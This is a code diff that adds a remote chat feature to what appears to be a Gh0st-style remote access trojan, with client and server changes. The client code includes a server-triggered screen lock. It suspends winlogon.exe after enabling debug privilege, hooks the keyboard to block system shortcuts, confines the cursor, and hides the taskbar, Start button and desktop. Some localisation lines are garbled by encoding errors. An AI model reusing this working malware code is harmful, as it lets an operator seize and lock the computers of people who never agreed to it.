diff --git a/client/ChatManager.cpp b/client/ChatManager.cpp new file mode 100644 index 0000000..cd1a405 --- /dev/null +++ b/client/ChatManager.cpp @@ -0,0 +1,336 @@ +// ChatManager.cpp: implementation of the CChatManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ChatManager.h" +#include "Common.h" +#include "resource.h" +#include + +#if ENABLE_MESSAGE + +// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。 +// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。 + +#define SE_DEBUG_PRIVILEGE 20 +typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled); +typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess); + +struct PIDWNDINFO { + DWORD dwProcessId; + HWND hWnd; +}; + +// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例) +static HANDLE g_hProcess = NULL; +static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL; +static HHOOK g_hKeyBoard = NULL; +static int g_nLocked = 0; + +static DWORD GetWinlogonPid() +{ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pEntry = { sizeof(pEntry) }; + BOOL rtn = Process32First(snap, &pEntry); + while (rtn) { + if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) { + CloseHandle(snap); + return pEntry.th32ProcessID; + } + memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile)); + rtn = Process32Next(snap, &pEntry); + } + CloseHandle(snap); + return 0; +} + +// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键 +static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam) +{ + if (code == HC_ACTION) { + PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; + switch (wParam) { + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + case WM_KEYUP: + case WM_SYSKEYUP: + if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB + || (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4 + || (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc + || (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc + || (p->vkCode == VK_LWIN) + || (p->vkCode == VK_RWIN)) { + return 1; + } + break; + } + } + return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam); +} + +static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) +{ + PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam; + LONG lStyle = GetWindowLong(hWnd, GWL_STYLE); + if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd && + IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) { + ShowWindow(hWnd, SW_MINIMIZE); + return TRUE; + } + DWORD dwProcessId; + GetWindowThreadProcessId(hWnd, &dwProcessId); + if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) { + pInfo->hWnd = hWnd; + return FALSE; + } + return TRUE; +} + +// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环) +static void ChatSetHook() +{ + g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0); + HMODULE hMod = LoadLibrary("ntdll"); + if (hMod) { + RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege"); + SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess"); + g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess"); + DWORD pid = GetWinlogonPid(); + BOOLEAN dummy = 0; + if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy); + g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess); + } +} + +static void ChatUnSetHook() +{ + if (g_hKeyBoard) { + UnhookWindowsHookEx(g_hKeyBoard); + g_hKeyBoard = NULL; + } + if (g_lpfnNtResumeProcess && g_hProcess) { + g_lpfnNtResumeProcess(g_hProcess); + } + if (g_hProcess) { + CloseHandle(g_hProcess); + g_hProcess = NULL; + } + g_lpfnNtResumeProcess = NULL; +} + +// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon +static void UnlockScreen() +{ + ChatUnSetHook(); + ClipCursor(NULL); + SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE); + ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW); + ::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW); + ::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW); + g_nLocked = 0; +} + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject) +{ + m_hInstance = HINSTANCE(user); + m_hWnd = NULL; + m_bRun = TRUE; + g_nLocked = 0; + + // 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT + BYTE bToken = TOKEN_CHAT_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); + WaitForDialogOpen(); + + m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL); + Mprintf("Chat 构造\n"); +} + +CChatManager::~CChatManager() +{ + m_bRun = FALSE; + while (m_hThread) + Sleep(100); + + if (g_nLocked == 1) { + UnlockScreen(); + } + if (m_hWnd) { + SendMessage(m_hWnd, WM_USER + 1, NULL, NULL); + } + Mprintf("Chat 析构\n"); +} + +DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam) +{ + CChatManager* pThis = (CChatManager*)lParam; + HANDLE& hThread(pThis->m_hThread); + + pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL, + CChatManager::ChatDialogProc, (LPARAM)pThis); + if (pThis->m_hWnd) { + SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0); + SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); + // 移除最小化/最大化按钮 + LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE); + lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX); + SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle); + + MSG msg; + while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) { + if (!IsDialogMessage(pThis->m_hWnd, &msg)) { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + } + } + + CloseHandle(hThread); + hThread = NULL; + return 0; +} + +INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA); + switch (uMsg) { + case WM_INITDIALOG: + SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam); + pThis = (CChatManager*)lParam; + SetWindowText(hDlg, "远程交谈"); + SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息"); + SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈"); + { + HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG)); + if (hIcon) { + SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon); + SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon); + } + } + return TRUE; + + case WM_COMMAND: + if (LOWORD(wParam) == IDC_BUTTON_SEND) { + char str[4096] = { 0 }; + GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str)); + if (str[0] == 0) { + SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG)); + return TRUE; // 消息为空不发送 + } + pThis->Send((LPBYTE)str, lstrlenA(str) + 1); + + SYSTEMTIME st; + GetLocalTime(&st); + char Text[5120] = { 0 }; + sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:", + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str); + HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG); + int nLen = GetWindowTextLength(hEditChatLog); + if (nLen >= 20000) { + SetWindowText(hEditChatLog, ""); + nLen = GetWindowTextLength(hEditChatLog); + } + SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen); + SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text); + SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, ""); + SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG)); + return TRUE; + } + if (LOWORD(wParam) == IDC_BUTTON_END) { + // 被控端主动结束交谈:关闭本地聊天窗口 + SendMessage(hDlg, WM_USER + 1, NULL, NULL); + return TRUE; + } + break; + + case WM_CLOSE: + return 0; + + case WM_USER + 1: + pThis->m_hWnd = NULL; + DestroyWindow(hDlg); + return TRUE; + + case WM_USER + 2: + ChatSetHook(); + return TRUE; + + case WM_DESTROY: + PostQuitMessage(0); + return TRUE; + + default: + break; + } + return FALSE; +} + +VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + if (szBuffer[0] == TOKEN_HEARTBEAT) return; + + if (ulLength == 1) { + switch (szBuffer[0]) { + case COMMAND_NEXT_CHAT: + NotifyDialogIsOpen(); + return; + case COMMAND_CHAT_CLOSE: + if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL); + return; + case COMMAND_CHAT_SCREEN_LOCK: + NotifyDialogIsOpen(); + if (m_hWnd && g_nLocked == 0) { + ShowWindow(m_hWnd, SW_RESTORE); + RECT rct = { 0 }; + GetWindowRect(m_hWnd, &rct); + ClipCursor(&rct); + SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE); + PIDWNDINFO pwi = { 0 }; + pwi.dwProcessId = 0; + pwi.hWnd = m_hWnd; + EnumWindows(EnumWindowsProc, (LPARAM)&pwi); + ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE); + ::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE); + ::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE); + SendMessage(m_hWnd, WM_USER + 2, NULL, NULL); + g_nLocked = 1; + } + return; + case COMMAND_CHAT_SCREEN_UNLOCK: + if (g_nLocked == 1) { + UnlockScreen(); + } + return; + default: + break; + } + } + + // 收到服务端发来的聊天文本 + SYSTEMTIME st; + GetLocalTime(&st); + char Text[8192] = { 0 }; + sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:", + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer); + if (m_hWnd) { + HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG); + int nLen = GetWindowTextLength(hEditChatLog); + if (nLen >= 20000) { + SetWindowText(hEditChatLog, ""); + nLen = GetWindowTextLength(hEditChatLog); + } + SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen); + SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text); + ShowWindow(m_hWnd, SW_RESTORE); + } +} + +#endif diff --git a/client/ChatManager.h b/client/ChatManager.h new file mode 100644 index 0000000..2bb0dfb --- /dev/null +++ b/client/ChatManager.h @@ -0,0 +1,30 @@ +// ChatManager.h: interface for the CChatManager class. +// +////////////////////////////////////////////////////////////////////// + +#pragma once + +#include "Manager.h" + +#if ENABLE_MESSAGE==0 +#define CChatManager CManager +#else + +class CChatManager : public CManager +{ +public: + HINSTANCE m_hInstance; + CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CChatManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + +private: + BOOL m_bRun; + HANDLE m_hThread; + HWND m_hWnd; + + static DWORD WINAPI MessageLoopProc(LPVOID lParam); + static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); +}; + +#endif diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 32fb5ed..85df9c2 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -216,6 +216,7 @@ + @@ -270,6 +271,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index e746dfd..9cb0083 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -5,6 +5,7 @@ #include "ScreenManager.h" #include "FileManager.h" #include "TalkManager.h" +#include "ChatManager.h" #include "ShellManager.h" #include "SystemManager.h" #include "ConPTYManager.h" @@ -101,6 +102,11 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam) return LoopManager(lParam); } +DWORD WINAPI LoopChatManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + DWORD WINAPI LoopShellManager(LPVOID lParam) { // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe diff --git a/client/Common.h b/client/Common.h index 5de2f23..cdcf1f8 100644 --- a/client/Common.h +++ b/client/Common.h @@ -28,6 +28,7 @@ DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam); +DWORD WINAPI LoopChatManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ba46ec5..494d92e 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1153,6 +1153,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_CHAT: { // 远程交谈(双向聊天) + if (!ENABLE_MESSAGE) { + return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1); + } + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } + m_hThread[m_ulThreadCount].user = m_hInstance; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_SHELL: { if (!ENABLE_SHELL) { return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); diff --git a/client/Script.rc b/client/Script.rc index cbf8bb1..40166dc 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -31,6 +31,18 @@ FONT 10, "System", 0, 0, 0x0 BEGIN LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 END +IDD_CHAT DIALOGEX 0, 0, 235, 155 +STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Chat" +FONT 10, "System", 0, 0, 0x0 +BEGIN + EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE + EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE + PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE + PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE +END + + ///////////////////////////////////////////////////////////////////////////// @@ -44,6 +56,9 @@ BEGIN IDD_DIALOG, DIALOG BEGIN END + IDD_CHAT, DIALOG + BEGIN + END END #endif // APSTUDIO_INVOKED diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 9741f20..69dcd1d 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -226,6 +226,7 @@ + @@ -283,6 +284,7 @@ + diff --git a/client/resource.h b/client/resource.h index 3917163..c9a990c 100644 --- a/client/resource.h +++ b/client/resource.h @@ -9,14 +9,19 @@ #define IDI_ICON2 105 #define IDI_ICON_MSG 105 #define IDC_EDIT_MESSAGE 1000 +#define IDD_CHAT 106 +#define IDC_EDIT_CHATLOG 1001 +#define IDC_EDIT_NEWMSG 1002 +#define IDC_BUTTON_SEND 1003 +#define IDC_BUTTON_END 1004 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 106 +#define _APS_NEXT_RESOURCE_VALUE 107 #define _APS_NEXT_COMMAND_VALUE 40001 -#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_CONTROL_VALUE 1005 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif diff --git a/common/commands.h b/common/commands.h index 387cc8b..bbc0c36 100644 --- a/common/commands.h +++ b/common/commands.h @@ -320,6 +320,8 @@ enum { COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动 TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 + COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天) + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index ca40c0e..5d90b71 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 31312a7..35ed543 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -994,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings) ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings) ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage) + ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -1422,6 +1423,7 @@ VOID CMy2015RemoteDlg::CreateToolBar() m_ToolBar.SetButtonText(14, _T("Lang/语言")); m_ToolBar.SetButtonText(15, _T("MCP")); m_ToolBar.SetButtonText(16, _TR("连接管理")); + m_ToolBar.SetButtonText(17, _TR("远程交谈")); // ============================================================ // UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮 @@ -4497,6 +4499,12 @@ void CMy2015RemoteDlg::OnOnlineMessage() SendSelectedCommand(&bToken, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnChat() +{ + BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天) + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, const std::string& dir, const std::string& name, int cmd, int sizeofSize) diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index a4ae2ff..3d7b024 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -516,6 +516,7 @@ public: // 由 m_cs 保护。 std::map m_ActiveWndW; afx_msg void OnOnlineMessage(); + afx_msg void OnChat(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 9a91f52..7732707 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -2076,3 +2076,4 @@ JPEG Զ¶˶˿Ú=Remote Port Á¬½ÓÊý:%d=Connections: %d ǿÖƶϿª=Force Disconnect +Զ³̽»̸=Talk diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 90fa806..4c3d2cb 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -2067,3 +2067,4 @@ JPEG Զ¶˶˿Ú=ßh¶ËßB½Ӳº Á¬½ÓÊý:%d=ßB¾€”µ:%d ǿÖƶϿª=�ŠÖÆÖДà +Զ³̽»̸=ßh³̽»Մ diff --git a/server/2015Remote/res/ToolBar_Main.bmp b/server/2015Remote/res/ToolBar_Main.bmp index 55fc254..b7fc665 100644 Binary files a/server/2015Remote/res/ToolBar_Main.bmp and b/server/2015Remote/res/ToolBar_Main.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 327978d..c4c9135 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1011,6 +1011,7 @@ #define ID_CONNECTION_MANAGE 33086 #define ID_CONNECTION_KILL 33087 #define ID_CONNECTION_REFRESH 33088 +#define ID_TALK_MANAGE 33089 #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_TRIGGER_SETTINGS 33048 @@ -1075,7 +1076,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 407 -#define _APS_NEXT_COMMAND_VALUE 33089 +#define _APS_NEXT_COMMAND_VALUE 33090 #define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_SYMED_VALUE 105 #endif